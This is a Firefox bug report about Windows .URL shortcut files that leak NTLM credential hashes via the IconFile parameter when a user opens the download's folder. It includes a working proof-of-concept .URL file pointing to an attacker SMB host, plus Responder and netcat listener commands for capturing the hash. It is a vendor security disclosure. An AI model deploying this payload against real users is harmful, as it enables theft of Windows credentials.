1812338 - .URL file can also send NTLM hashes

Status: RESOLVED DUPLICATE of bug 1809923

(Firefox :: Security, defect)

Description

[haxatron1]

Attachment: Untitled_ Jan 25, 2023 10_57 PM.webm

On Windows, .URL file can also send NTLM hashes via the IconFile parameter. Thus it is possible to reproduce https://bugzilla.mozilla.org/show_bug.cgi?id=1773894 using .URL file

Comment 1

[haxatron1]

STR

1. Host example.url on a server

---

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2
[InternetShortcut]
IDList=
URL=\192.168.1.109\test\test.ico
IconFile=\192.168.1.109\test\test.ico
HotKey=0

2. Replace all instances of 192.168.1.109 with your responder IP address.
3. Start responder using responder -I eth0 -wvd
4. Create a link that download example.url, see that example.url is downloaded by Firefox without any warning, click Show in Folder and the hash is leaked.

Comment 2

[haxatron1]

Alternatively, if you don't want to download responder, you may also verify that .url files are sending the hash.

Instead of Step 2, you can start a netcat server using

nc -nvlp 445

And when you download example.url and click Show in Folder a connection to your netcat server is made. On Windows, SMB connection will result in auto-forwarding NTLM hash.

Comment 3

[haxatron1]

A video is also attached for reference